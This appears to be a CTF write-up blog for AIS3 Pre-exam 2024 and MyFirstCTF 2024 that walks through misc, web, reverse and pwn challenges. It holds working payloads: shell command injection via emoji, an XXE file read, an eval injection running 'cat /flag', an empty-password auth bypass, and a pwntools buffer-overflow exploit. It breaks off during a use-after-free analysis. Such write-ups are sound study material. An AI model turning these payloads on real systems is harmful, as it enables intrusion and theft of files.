---
# System prepended metadata

title: AIS3 Pre-exam 2024 & MyFirstCTF 2024 writeups
tags: [Writeups]

---

# Header
## 名次
MyFirstCTF
Screenshot: 2024/05/29 20:21 | At MyFirstCTF
![image](https://hackmd.io/_uploads/BJZp69VER.png)

AIS3 Pre-exam
Screenshot: 2024/05/29 20:20 | At AIS3 Pre-exam
![image](https://hackmd.io/_uploads/B125694EA.png)

## 心得
今年是第一次打MyFirstCTF跟AIS3 Pre-exam，最後還是覺得自己的表現不好，簡單的題目沒有在mfctf現場解出來，甚至是結賽了也沒解出來，賽後想通了但分數已經結算沒辦法幹嘛，覺得很後悔，也有碰到很多題目，現在能力完全不夠，打不出來。

明年肯定再戰，期望能超越今年的自己，希望可以打進前五，這期間得更認真提升自己了。

# Misc
## Welcome
Screenshot: 2024/05/28 20:06 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/HJQA_SQE0.png)

Flag: ``AIS3{Welc0me_to_AIS3_PreExam_2o24!}``

## Quantum Nim Heist
Screenshot: 2024/05/28 20:08 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/r1IStr74A.png)

跟電腦玩Nim Game
![image](https://hackmd.io/_uploads/SkjqFBm4A.png)

玩一玩發現在選擇動作時只要直接enter，就可以bypass一回合
![image](https://hackmd.io/_uploads/H1_ZcHXE0.png)

原因是在``server.py``中，程式並沒有針對無效輸入做處理，直接繼續跑下去
![image](https://hackmd.io/_uploads/Hyvl9Sm4A.png)

Solve:
一直bypass直到剩下一條pipe
![image](https://hackmd.io/_uploads/r1Mh5HX4A.png)

把最後一條pipe上所有石頭拿走就贏了
![image](https://hackmd.io/_uploads/BJWeiSX40.png)

Flag: ``AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}``

## Three Dimensional Secret
Screenshot: 2024/05/28 20:17 | At AIS3 Pre-exam
``[-](-) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/rJDUiBXE0.png)

使用纜線鯊魚打開題目附的封包檔
![image](https://hackmd.io/_uploads/By6soBmE0.png)

Follow TCP Stream，看到很多東西
![image](https://hackmd.io/_uploads/SJITsrmNA.png)

這些東西是[GCode](https://zh.wikipedia.org/zh-tw/G%E4%BB%A3%E7%A0%81)，所以上網找[工具](https://ncviewer.com/)跑他就好

跑完之後旋轉縮放一下，就可以看到被Print出來的flag
![image](https://hackmd.io/_uploads/B15YAr740.png)

Flag: ``AIS3{b4d1y_tun3d_PriN73r}``

## Emoji Console
Screenshot: 2024/05/28 20:33 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/SyyMyLQV0.png)

一個console，你只能用這些emoji組合出命令
![image](https://hackmd.io/_uploads/rkuD187NC.png)

想執行自己打的東西就會直接罷工
![image](https://hackmd.io/_uploads/ry_K1L74R.png)

🐱 🚩
``cat flag``
發現``flag``是一個資料夾
![image](https://hackmd.io/_uploads/ryULxLmVC.png)

🐱 ⭐
``cat *``
取得原始碼
![image](https://hackmd.io/_uploads/HJG1lLXNA.png)

Source:
```python=
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
    emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
    for key in emoji_table:
        if key in command:
            command = command.replace(key,emoji_table[key])
    return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api')
def api():
    command = request.args.get('command')
    
    if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
        return jsonify({'command':command,'result':'Invalid command'})
    command = translate(command)
    result = os.popen(command+" 2>&1").read()
    return jsonify({'command':command,'result':result})
    

if __name__ == '__main__':
    app.run('0.0.0.0',5000)

{
    "😀": ":D",
    "😁": ":D",
    "😂": ":')",
    "🤣": "XD",
    "😃": ":D",
    "😄": ":D",
    "😅": "':D",
    "😆": "XD",
    "😉": ";)",
    "😊": ":)",
    "😋": ":P",
    "😎": "B)",
    "😍": ":)",
    "😘": ":*",
    "😗": ":*",
    "😙": ":*",
    "😚": ":*",
    "☺️": ":)",
    "🙂": ":)",
    "🤗": ":)",
    "🤩": ":)",
    "🤔": ":?",
    "🤨": ":/",
    "😐": ":|",
    "😑": ":|",
    "😶": ":|",
    "🙄": ":/",
    "😏": ":]",
    "😣": ">:",
    "😥": ":'(",
    "😮": ":o",
    "🤐": ":x",
    "😯": ":o",
    "😪": ":'(",
    "😫": ">:(",
    "😴": "Zzz",
    "😌": ":)",
    "😛": ":P",
    "😜": ";P",
    "😝": "XP",
    "🤤": ":P",
    "😒": ":/",
    "😓": ";/",
    "😔": ":(",
    "😕": ":/",
    "🙃": "(:",
    "🤑": "$)",
    "😲": ":O",
    "☹️": ":(",
    "🙁": ":(",
    "😖": ">:(",
    "😞": ":(",
    "😟": ":(",
    "😤": ">:(",
    "😢": ":'(",
    "😭": ":'(",
    "😦": ":(",
    "😧": ">:(",
    "😨": ":O",
    "😩": ">:(",
    "🤯": ":O",
    "😬": ":E",
    "😰": ":(",
    "😱": ":O",
    "🥵": ">:(",
    "🥶": ":(",
    "😳": ":$",
    "🤪": ":P",
    "😵": "X(",
    "🥴": ":P",
    "😠": ">:(",
    "😡": ">:(",
    "🤬": "#$%&!",
    "🤕": ":(",
    "🤢": "X(",
    "🤮": ":P",
    "🤧": ":'(",
    "😇": "O:)",
    "🥳": ":D",
    "🥺": ":'(",
    "🤡": ":o)",
    "🤠": "Y)",
    "🤥": ":L",
    "🤫": ":x",
    "🤭": ":x",
    "🐶": "dog",
    "🐱": "cat",
    "🐭": "mouse",
    "🐹": "hamster",
    "🐰": "rabbit",
    "🦊": "fox",
    "🐻": "bear",
    "🐼": "panda",
    "🐨": "koala",
    "🐯": "tiger",
    "🦁": "lion",
    "🐮": "cow",
    "🐷": "pig",
    "🐽": "pig nose",
    "🐸": "frog",
    "🐒": "monkey",
    "🐔": "chicken",
    "🐧": "penguin",
    "🐦": "bird",
    "🐤": "baby chick",
    "🐣": "hatching chick",
    "🐥": "front-facing baby chick",
    "🦆": "duck",
    "🦅": "eagle",
    "🦉": "owl",
    "🦇": "bat",
    "🐺": "wolf",
    "🐗": "boar",
    "🐴": "horse",
    "🦄": "unicorn",
    "🐝": "bee",
    "🐛": "bug",
    "🦋": "butterfly",
    "🐌": "snail",
    "🐞": "lady beetle",
    "🐜": "ant",
    "🦟": "mosquito",
    "🦗": "cricket",
    "🕷️": "spider",
    "🕸️": "spider web",
    "🦂": "scorpion",
    "🐢": "turtle",
    "🐍": "python",
    "🦎": "lizard",
    "🦖": "T-Rex",
    "🦕": "sauropod",
    "🐙": "octopus",
    "🦑": "squid",
    "🦐": "shrimp",
    "🦞": "lobster",
    "🦀": "crab",
    "🐡": "blowfish",
    "🐠": "tropical fish",
    "🐟": "fish",
    "🐬": "dolphin",
    "🐳": "whale",
    "🐋": "whale",
    "🦈": "shark",
    "🐊": "crocodile",
    "🐅": "tiger",
    "🐆": "leopard",
    "🦓": "zebra",
    "🦍": "gorilla",
    "🦧": "orangutan",
    "🦣": "mammoth",
    "🐘": "elephant",
    "🦛": "hippopotamus",
    "🦏": "rhinoceros",
    "🐪": "camel",
    "🐫": "two-hump camel",
    "🦒": "giraffe",
    "🦘": "kangaroo",
    "🦬": "bison",
    "🦥": "sloth",
    "🦦": "otter",
    "🦨": "skunk",
    "🦡": "badger",
    "🐾": "paw prints",
    "◼️": "black square",
    "◻️": "white square",
    "◾": "black medium square",
    "◽": "white medium square",
    "▪️": "black small square",
    "▫️": "white small square",
    "🔶": "large orange diamond",
    "🔷": "large blue diamond",
    "🔸": "small orange diamond",
    "🔹": "small blue diamond",
    "🔺": "triangle",
    "🔻": "triangle",
    "🔼": "triangle",
    "🔽": "triangle",
    "🔘": "circle",
    "⚪": "circle",
    "⚫": "black circle",
    "🟠": "orange circle",
    "🟢": "green circle",
    "🔵": "blue circle",
    "🟣": "purple circle",
    "🟡": "yellow circle",
    "🟤": "brown circle",
    "⭕": "empty circle",
    "🅰️": "A",
    "🅱️": "B",
    "🅾️": "O",
    "ℹ️": "i",
    "🅿️": "P",
    "Ⓜ️": "M",
    "🆎": "AB",
    "🆑": "CL",
    "🆒": "COOL",
    "🆓": "FREE",
    "🆔": "ID",
    "🆕": "NEW",
    "🆖": "NG",
    "🆗": "OK",
    "🆘": "SOS",
    "🆙": "UP",
    "🆚": "VS",
    "㊗️": "祝",
    "㊙️": "秘",
    "🈺": "營",
    "🈯": "指",
    "🉐": "得",
    "🈹": "割",
    "🈚": "無",
    "🈲": "禁",
    "🈸": "申",
    "🈴": "合",
    "🈳": "空",
    "🈵": "滿",
    "🈶": "有",
    "🈷️": "月",
    "🚗": "car",
    "🚕": "taxi",
    "🚙": "SUV",
    "🚌": "bus",
    "🚎": "trolleybus",
    "🏎️": "race car",
    "🚓": "police car",
    "🚑": "ambulance",
    "🚒": "fire engine",
    "🚐": "minibus",
    "🚚": "delivery truck",
    "🚛": "articulated lorry",
    "🚜": "tractor",
    "🛴": "kick scooter",
    "🚲": "bicycle",
    "🛵": "scooter",
    "🏍️": "motorcycle",
    "✈️": "airplane",
    "🚀": "rocket",
    "🛸": "UFO",
    "🚁": "helicopter",
    "🛶": "canoe",
    "⛵": "sailboat",
    "🚤": "speedboat",
    "🛳️": "passenger ship",
    "⛴️": "ferry",
    "🛥️": "motor boat",
    "🚢": "ship",
    "👨": "man",
    "👩": "woman",
    "👶": "baby",
    "🧓": "old man",
    "👵": "old woman",
    "💿": "CD",
    "📀": "DVD",
    "📱": "phone",
    "💻": "laptop",
    "🖥️": "pc",
    "🖨️": "printer",
    "⌨️": "keyboard",
    "🖱️": "mouse",
    "🖲️": "trackball",
    "🕹️": "joystick",
    "🗜️": "clamp",
    "💾": "floppy disk",
    "💽": "minidisc",
    "☎️": "telephone",
    "📟": "pager",
    "📺": "television",
    "📻": "radio",
    "🎙️": "studio microphone",
    "🎚️": "level slider",
    "🎛️": "control knobs",
    "⏰": "alarm clock",
    "🕰️": "mantelpiece clock",
    "⌚": "watch",
    "📡": "satellite antenna",
    "🔋": "battery",
    "🔌": "plug",
    "🚩": "flag",
    "⓿": "0",
    "❶": "1",
    "❷": "2",
    "❸": "3",
    "❹": "4",
    "❺": "5",
    "❻": "6",
    "❼": "7",
    "❽": "8",
    "❾": "9",
    "❿": "10",
    "⭐": "*",
    "➕": "+",
    "➖": "-",
    "✖️": "×",
    "➗": "÷"

}
```

對照著原始碼繼續構建Payload

Payload: 
💿 🚩 😜😐🐱 ⭐
``cd flag ;P:|cat *``
戳到``flag-printer.py``
![image](https://hackmd.io/_uploads/Sk4nxIXEC.png)

Payload:
💿 🚩 😜😐🐍 ⭐
``cd flag ;P:|python *``
執行``flag-printer.py``
![image](https://hackmd.io/_uploads/SJ2Al8Q40.png)

Flag: AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

# Web
## Capoost
Screenshot: 2024/05/27 07:41 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/H1-3_BZ4C.png)

new post，選擇template時發現了這個api
![image](https://hackmd.io/_uploads/SkVQKrWNR.png)

這個api存在任意檔案讀取，可以把環境裡面所有東西弄出來
![image](https://hackmd.io/_uploads/rkT4tBbVA.png)
先把Source Code那些東西弄出來

可以在``/app/models/user/user.go``內發現管理員帳號的名稱為``4dm1n1337``，密碼隨機產生
![image](https://hackmd.io/_uploads/HkzZcr-V0.png)

跟著第二條提示去看分別在``/app/router/user/user.go``跟``/app/models/user/user.go``的這兩段程式碼，越看越奇怪，就想說好像只有針對username做處理，如果我密碼不打會怎樣?
![image](https://hackmd.io/_uploads/BkAEqS-ER.png)

![image](https://hackmd.io/_uploads/HkAr5HWVA.png)

開啟BurpSuite，在登入請求送出時把密碼改成空白
![image](https://hackmd.io/_uploads/H1aJsBZVA.png)

登入成功
![image](https://hackmd.io/_uploads/SyYgoSZNC.png)

我試過直接f12把``required``拔掉，但還是會出事情
![image](https://hackmd.io/_uploads/SJSEoHZEA.png)

登入管理員帳號之後，我繼續看程式碼，看到位於``/app/router/post/post.go``的這段程式，達成條件之後，``readflag()``被包進去模板，所以要想辦法在模板中執行到``readflag()``
![image](https://hackmd.io/_uploads/SJ1_srZE0.png)

但是執行這塊程式的條件是，**那個post必須是管理員發出的(``nowpost.Owner.ID == 1``)**

我原本想說直接用管理員帳號post，結果被擋掉了
看程式碼發現是創建post的route設有檢查，管理員不能創建post
![image](https://hackmd.io/_uploads/rJPK2SbN0.png)
``/app/middlewares/auth/auth.go``
![image](https://hackmd.io/_uploads/HkkpnrbNR.png)

只能回到post function，根據第五個hint猜測可能是ln42有問題
![image](https://hackmd.io/_uploads/HJok6rZER.png)

猜想如果在送出的postdata內亂寫東西，這些亂寫的部分是不是也會被解析，並應用到後面的處理

嘗試在送出的postdata中加入``"owner"="4dm1n1337"``

用一個非管理員帳號登入，不然過不了middlewares
![image](https://hackmd.io/_uploads/BkINJUWNA.png)

create post，送出時把request攔下並修改資料
![image](https://hackmd.io/_uploads/SkCuyLZEA.png)

看來是不會壞掉
![image](https://hackmd.io/_uploads/B1lsJ8bV0.png)

現在已經找到可以不用登入管理員就可以生出一個``newpost.Owner.ID == 1``的post了
接下來的步驟就是
1. 創建一個可以執行``readflag``的模板
2. 在非管理員登入的情況下生出一個``newpost.Owner.ID == 1``、採用上步驟模板的post
3. 查看post，拿flag

先切去管理員帳號，創建一個模板
![image](https://hackmd.io/_uploads/r1tZW8ZN0.png)
在這裡func name為``G1V3m34Fl4gpL34s3``是因為在``/app/router/post/post.go``中，``readflag``包進template的名字就是``G1V3m34Fl4gpL34s3``(ln94)

接著切回非管理員帳號，去生出一個post
![image](https://hackmd.io/_uploads/HJ6d-8-EC.png)
一樣的攔截request，竄改資料
![image](https://hackmd.io/_uploads/ryzoZUbVC.png)

想讀取結果出事了
![image](https://hackmd.io/_uploads/SJh3-IZER.png)

發現是``403 forbidden``
![image](https://hackmd.io/_uploads/HyXCb8ZV0.png)

應該是``/app/router/post/post.go``的這一段的問題(這個route好像也只有這裡會噴403
![image](https://hackmd.io/_uploads/ByXlz8WNC.png)
所以不能讓回傳的字串內有``AIS3``

解法是用``slice``切回傳的字串，讓他從index 1開始輸出
![image](https://hackmd.io/_uploads/SJHPfUZV0.png)

最後在前面補上一個``A``就好
![image](https://hackmd.io/_uploads/Sy7hM8-4R.png)

Flag: ``AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}``

## Ebook Parser
Screenshot: 2024/05/28 19:20 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/ryhy0NmNA.png)

從``app.py``中可以看到，上傳的檔案會被賦予隨機的檔案名稱，存在暫存資料夾中，最後丟進去ln35的``ebookmeta.get_metadata()``解析並回傳資料。
![image](https://hackmd.io/_uploads/SkNIRV7N0.png)

這裡看``ebookmeta``解析``.fb2``檔案的程式碼，位於``fb2.py``中
如截圖所見，檔案內容會被丟進去``etree.parse()``，解析裡面的XML，但是這個模組的寫法並沒有關掉實體解析，導致我們可以玩XXE Injection
![image](https://hackmd.io/_uploads/BJ8RJB7ER.png)

Solve:
隨便找一個FB2，把Payload塞在裡面，最後上傳，目標檔案的內容就會出現在回傳的資料中。

Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" > ]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0"
             xmlns:l="http://www.w3.org/1999/xlink">
<description>
    <title-info>
        <genre>antique</genre>
        <author><first-name></first-name><last-name>aaa</last-name></author>
        <book-title>&xxe;</book-title>
        <lang> eee </lang>
    </title-info>
    <document-info>
        <author><first-name></first-name><last-name>aaa</last-name></author>
        <program-used>calibre 4.99.5</program-used>
        <date>26.5.2024</date>
        <version>1.0</version>
    </document-info>
    <publish-info>
        <year>2024</year>
        <book-name>bababbab</book-name>
    </publish-info>
</description>
<body>
<section>
<p>aaaaa</p>
</section>
</body>

</FictionBook>
```

![image](https://hackmd.io/_uploads/HyLq_BQ4C.png)

Flag: ``AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}``

## Eval Calc
Screenshot: 2024/05/28 20:01 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/H1_1vrX40.png)

計算機
![image](https://hackmd.io/_uploads/HkaTwBm4R.png)

在``app.py``可以看到，計算的方式就是直接丟進去``eval()``(ln10)
只有過濾掉空白跟底線
![image](https://hackmd.io/_uploads/SkiADBQEC.png)

解法就是再套一個eval，被禁掉的字元用``chr()``生出來就好

Payload:
``
{"expression": "eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)+'('+chr(39)+'os'+chr(39)+').popen('+chr(39)+'cat${IFS}/flag'+chr(39)+').read()')"}
``

![image](https://hackmd.io/_uploads/rJad_SXEA.png)

Flag: ``AIS3{7RiANG13_5NAK3_I5_50_3Vi1}``

# Reverse
## long print
Screenshot: 2024/05/28 20:54 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/HyzGVU7N0.png)

使用Ghidra反編譯，看到超級久``sleep()``
![image](https://hackmd.io/_uploads/r1wdV87EC.png)

Solve:
把``MOV EDI, 0x3474``Patch成``MOV EDI, 0x1``就好
![image](https://hackmd.io/_uploads/SyDaVIX40.png)

After: 
![image](https://hackmd.io/_uploads/HJxSrIXNR.png)

讓他跑
![image](https://hackmd.io/_uploads/Hy6nHUm40.png)

Flag: ``AIS3{You_are_the_master_of_time_management!!!!?}``

## 火拳のエース
Screenshot: 2024/05/28 21:03 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/SyP-UImV0.png)

會先執行``print_flag()``
![image](https://hackmd.io/_uploads/r1PsULX4R.png)

但是有超級久``usleep()``
![image](https://hackmd.io/_uploads/rk5pILmVA.png)

這裡的解法就是Patch，把``usleep()``傳入值改成``1``就好
![image](https://hackmd.io/_uploads/HyLWw8m4R.png)

但是他沒給完整
![image](https://hackmd.io/_uploads/rJSNwLQE0.png)

可以看到程式後面會要求輸入，並把輸入分別存入四個buffer(ln21)
把這四個buffer經過一連串的處理(ln22 ~ ln35)，最後跟一些奇怪的字串做比較(ln36 ~ ln49)，比較成功就過關了
![image](https://hackmd.io/_uploads/S1k_PLXEA.png)

``xor_strings()``內容
![image](https://hackmd.io/_uploads/SJYyuUQNA.png)
他的邏輯寫成python其實就是
```python=
for i in range(8):
    param_1[i] = chr(ord(param_1[i]) ^ param_2[i])
```

接著是``complex_function()``
因為用Ghidra看的結果怪怪的，這裡改用IDA看
![image](https://hackmd.io/_uploads/BJ8Jq87NR.png)

直接改寫成python版本就好
```python=
def complex_function(a1, a2):
    if 64 < char and char < 91:
        v8 = (17 * a2 + a1 - 65) % 26
        v7 = a2 % 3 + 3
        v2 = a2 % 3
        if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26
        elif ( v2 <= 2 ):
          if ( v2 ):
            if ( v2 == 1 ):
              v8 = (2 * v7 + v8) % 26
          else:
            v8 = (v7 * v8 + 7) % 26
        return v8 + 65
```

最後就直接爆破就好

Solve: 
```python=
# The flag is A I S 3 { G 0 D

def complex_function(char:int, idx:int):
    a1 = char
    a2 = idx

    if 64 < char and char < 91:
        v8 = (17 * a2 + a1 - 65) % 26
        v7 = a2 % 3 + 3
        v2 = a2 % 3
        if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26
        elif ( v2 <= 2 ):
          if ( v2 ):
            if ( v2 == 1 ):
              v8 = (2 * v7 + v8) % 26
          else:
            v8 = (v7 * v8 + 7) % 26
        return v8 + 65

bfb0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04]
bfb1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11]
bfb2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71]
bfb3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33]

def exp(bfb0, strcmp, offset):
    for i in range(8):
        flag = True
        for t in range(32, 127):
            h5 = t 
            h6 = bfb0[i]

            result = hex(h5 ^ h6).replace("0x", "")

            c1 = int(result, 16)

            c2 = complex_function(c1, i+offset)

            if c2 == ord(strcmp[i]):
               print(chr(t), end = "")
               flag = False
               break
        if (flag): print("?", end = "")

print("The flag is A I S 3 { G 0 D".replace(" ", ""), end = "")
exp(bfb0, "DHLIYJEG", 0x00)
exp(bfb1, "MZRERYND", 0x20)
exp(bfb2, "RUYODBAH", 0x40)
exp(bfb3, "BKEMPBRE", 0x60)
```

![image](https://hackmd.io/_uploads/HkZBcIQNC.png)

Flag: ``AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}``

## faker's Really OP meow way
Screenshot: 2024/05/28 22:32 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/Skizow7NR.png)

使用Ghidra分析，可以看到程式讀取了flag存入``local_108``，產生了48bytes的隨機值存入``local_168``
接著把``main function``、``local_168(48bytes隨機值)``寄送給遠端服務器
執行``runcommand()``之後，比較``local_138``、``local_168``
猜測是要讓``local_138``跟``local_168``一樣
![image](https://hackmd.io/_uploads/S1k5jwmNC.png)

``runcommand()``中接收了遠端服務器傳過來的東西，然後就，沒了?
![image](https://hackmd.io/_uploads/HJ-Lhv7EC.png)

使用GDB進行動態分析，在執行``runcommand()``之前下斷點
此時的stack狀態
![image](https://hackmd.io/_uploads/rkxmpDmER.png)

步進``runcommand()``，走完之後發現return address被改掉，整個stack被爆改得像是在打ROP一樣
![image](https://hackmd.io/_uploads/HyGppPQVR.png)

接下來就是繼續步進並分析，這裡先放上一張stack截圖
![image](https://hackmd.io/_uploads/H1sECvXEA.png)

程式會把``flag[0]``拿出來存到``rax``
執行到``0x7fffffffc038 --> 0x5555555552d3 (<gadget+22>:   pop    rbx)``時，``0x82 (key[0])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``相加，存入``locak_138[0]``

接著程式會把``flag[1]``拿出來存到``rax``
執行到``0x7fffffffc080 --> 0x5555555552d3 (<gadget+22>:   pop    rbx)``時，``0x3b (key[1])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``相加，存入``local_138[1]``

接著程式會把``flag[2]``拿出來存到``rax``
執行到``0x7fffffffc0c8 --> 0x5555555552d3 (<gadget+22>:   pop    rbx)``時，``0x88 (key[2])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``互相xor，存入``local_138[2]``

接著就會繼續在相加、相減、xor不斷循環，並將結果存入``local_138``
![image](https://hackmd.io/_uploads/r1q5pdQ4A.png)

由此可知，反推``flag[0]``就是``local_168[0] - key[0]``
反推``flag[1]``就是``local_168[1] + key[1]``
反推``flag[2]``就是``local_168[2] ^ key[2]``
如此循環就可以反推出flag全貌

弄到這裡也可以知道，這支程式其實就是先讀取flag、產生48bytes隨機值放入``local_168``，把``local_168``內容及``main()``傳送給服務器，服務器依據傳送的資料產生key、構建ROP並回傳，最後執行上述和key相加、相減、xor的動作。

我解題的大部分過程沒有編寫腳本，自己把``local_168``跟``key``一個一個抓下來並反推，這要耗很多時間，也很麻煩。

此外，由於flag每位只有1bytes，範圍``-128~127``，但是反推出來的值可能超過這個範圍，所以要自己轉換回來。

這裡把所有key補齊
![image](https://hackmd.io/_uploads/SJp0Tt7EC.png)
![image](https://hackmd.io/_uploads/BkOk0YQE0.png)
![image](https://hackmd.io/_uploads/Hk2eAK7ER.png)
![image](https://hackmd.io/_uploads/H1mW0tmNR.png)
![image](https://hackmd.io/_uploads/HJpWAK7NR.png)
![image](https://hackmd.io/_uploads/BkPzRKX4R.png)
![image](https://hackmd.io/_uploads/r1OmRKX4C.png)

```
flag[0] = local_168[0] - key[0] = 0x41 'A'
flag[1] = local_168[1] + key[1] = 0x49 'I'
flag[2] = local_168[2] ^ key[2] = 0x53 'S'
flag[3] = local_168[3] - key[3] = 0x33 '3'
flag[4] = local_168[4] + key[4] = 0x7b '{'
flag[5] = local_168[5] ^ key[5] = 0x72 'r'
flag[6] = local_168[6] - key[6] = 0x33 '3'
flag[7] = local_168[7] + key[7] = 0x176 -> 0x76 'v'
flag[8] = local_168[8] ^ key[8] = 0x33 '3'
flag[9] = local_168[9] - key[9] = 0x72 'r'
flag[10] = local_168[10] + key[10] = 0x135 -> 0x35 '5'
flag[11] = local_168[11] ^ key[11] = 0x31 '1'
flag[12] = local_168[12] - key[12] = 0x6e 'n'
flag[13] = local_168[13] + key[13] = 0x136 -> 0x36 '6'
flag[14] = local_168[14] ^ key[14] = 0x5f '_'
flag[15] = local_168[15] - key[15] = 0x72 'r'
flag[16] = local_168[16] + key[16] = 0x130 -> 0x30 '0'
flag[17] = local_168[17] ^ key[17] = 0x70 -> 'p'
flag[18] = local_168[18] - key[18] = -0xa1 -> 0x5f  '_'
flag[19] = local_168[19] + key[19] = 0x131 -> 0x31 '1'
flag[20] = local_168[20] ^ key[20] = 0x35 '5'
flag[21] = local_168[21] - key[21] = 0x5f '_'
flag[22] = local_168[22] + key[22] = 0x63 'c'
flag[23] = local_168[23] ^ key[23] = 0x40 '0'
flag[24] = local_168[24] - key[24] = 0x40 '0'
flag[25] = local_168[25] + key[25] = 0x16c -> 0x6c 'l'
flag[26] = local_168[26] ^ key[26] = 0x5f '_'
flag[27] = local_168[27] - key[27] = 0x72 'r'
flag[28] = local_168[28] + key[28] = 0x131 -> 0x31 '1'
flag[29] = local_168[29] ^ key[29] = 0x36 '6'
flag[30] = local_168[30] - key[30] = -0x98 -> 0x68 'h'
flag[31] = local_168[31] + key[31] = 0x137 -> 0x37 '7'
flag[32] = local_168[32] ^ key[32] = 0x3f '?'
flag[33] = local_168[33] ^ key[33] = 0x3f '?'
flag[34] = local_168[34] ^ key[34] = 0x3f '?'
flag[35] = local_168[35] ^ key[35] = 0x7d '}'
...
```

喔乾，又重新算了一次flag，好累

Flag: ``AIS3{r3v3r51n6_r0p_15_c00l_r16h7???}``

# Pwn
## Mathter
Screenshot 2024/05/29 01:04 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/HyhoRF7EA.png)

不太需要擔心stack canary，真正有漏洞的地方沒有canary檢查
![image](https://hackmd.io/_uploads/B1l3_5N4A.png)

就是一個計算機
![image](https://hackmd.io/_uploads/rJJVVcEV0.png)

在main function中可以看到兩個function，``calculator()``跟``goodbye()``
![image](https://hackmd.io/_uploads/rJO9Vq44C.png)

``calculator()``看起來沒啥問題，但可以看到如果輸入``q``，就會直接return
![image](https://hackmd.io/_uploads/SyrC4c44R.png)

return之後就是往下走進``goodbye()``
這裡可以看到很明顯的bof，可以改return address跳去任何地方
![image](https://hackmd.io/_uploads/rJ2Yr5EVA.png)

有兩個win function
![image](https://hackmd.io/_uploads/B126rcVVC.png)

這裡先看``win1()``，可以看到前面有檢查(ln10)，傳入值要達成條件才給過
![image](https://hackmd.io/_uploads/ry-yOcE4C.png)

但是我們可以直接跳過檢查，跳到開始讀取flag的部分(``0x4018e6``)
![image](https://hackmd.io/_uploads/ByF8_94N0.png)

但如果直接跑下去就掛了
![image](https://hackmd.io/_uploads/B1slFcNVR.png)

使用GDB發現是因為``saved rbp``被蓋爛，``rbp``被變成無效地址，導致涉及``rbp``暫存器，或是涉及stack的操作大部分爛掉了
就像是這張截圖，執行到``win1+58``的時候，要把位址``rbp-0x8``的值複製到``rax``，但``rbp``已經爛掉了，所以執行到這裡就爆掉了
![image](https://hackmd.io/_uploads/BJzUY944A.png)

解決的方法就是找一個可寫的記憶體區段，把那個區段的最高位址蓋到``saved rbp``
就決定選你了，``0x004bf000``
![image](https://hackmd.io/_uploads/BJ545cVNA.png)

但是他只給一半QQ
所以要另外寫一個跳到``win2()``
![image](https://hackmd.io/_uploads/SyaZ39VVA.png)

Solve:
```python=
from pwn import *

win = int(input("win1 or win2 [1, 2]: "))

r = remote("chals1.ais3.org", 50001)
# r = process("./mathter")

r.sendlineafter(b" : ", b"q")

r.recvline()
r.recvline()

if win == 1:
        r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4018e6))
elif win == 2:
        r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4019b8))
else:
        print("what the fuck?")
        exit(0)

r.interactive()
```

![image](https://hackmd.io/_uploads/BJ7_h5E4C.png)

最後把flag拼在一起就好
```
AIS3{0mg_k4zm4_mu57_
         k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
```

Flag: ``AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}``

## Inception
Screenshot: 2024/05/29 20:19 | At AIS3 Pre-exam
``[-](-) | [AIS3 Pre-exam](O)``
![image](https://hackmd.io/_uploads/HJfN6cNN0.png)

提供三個操作，``create``、``delete``、``show``
![image](https://hackmd.io/_uploads/S1aOgo4VC.png)

查看原始碼可以看到，``create``部分，題目只提供三種size，接著``malloc(size)``，接收輸入並存入
![image](https://hackmd.io/_uploads/S1q2xsEV0.png)

``delete``的部分，程式free掉chunk之後沒有清除ptr，這給了我們進行攻擊的機會
![image](https://hackmd.io/_uploads/Sk3zWiV4C.png)

``show``的部分，雖然有檢查ptr是否為``null``，但是``delete``沒有清除ptr，所以這部分的檢查沒用
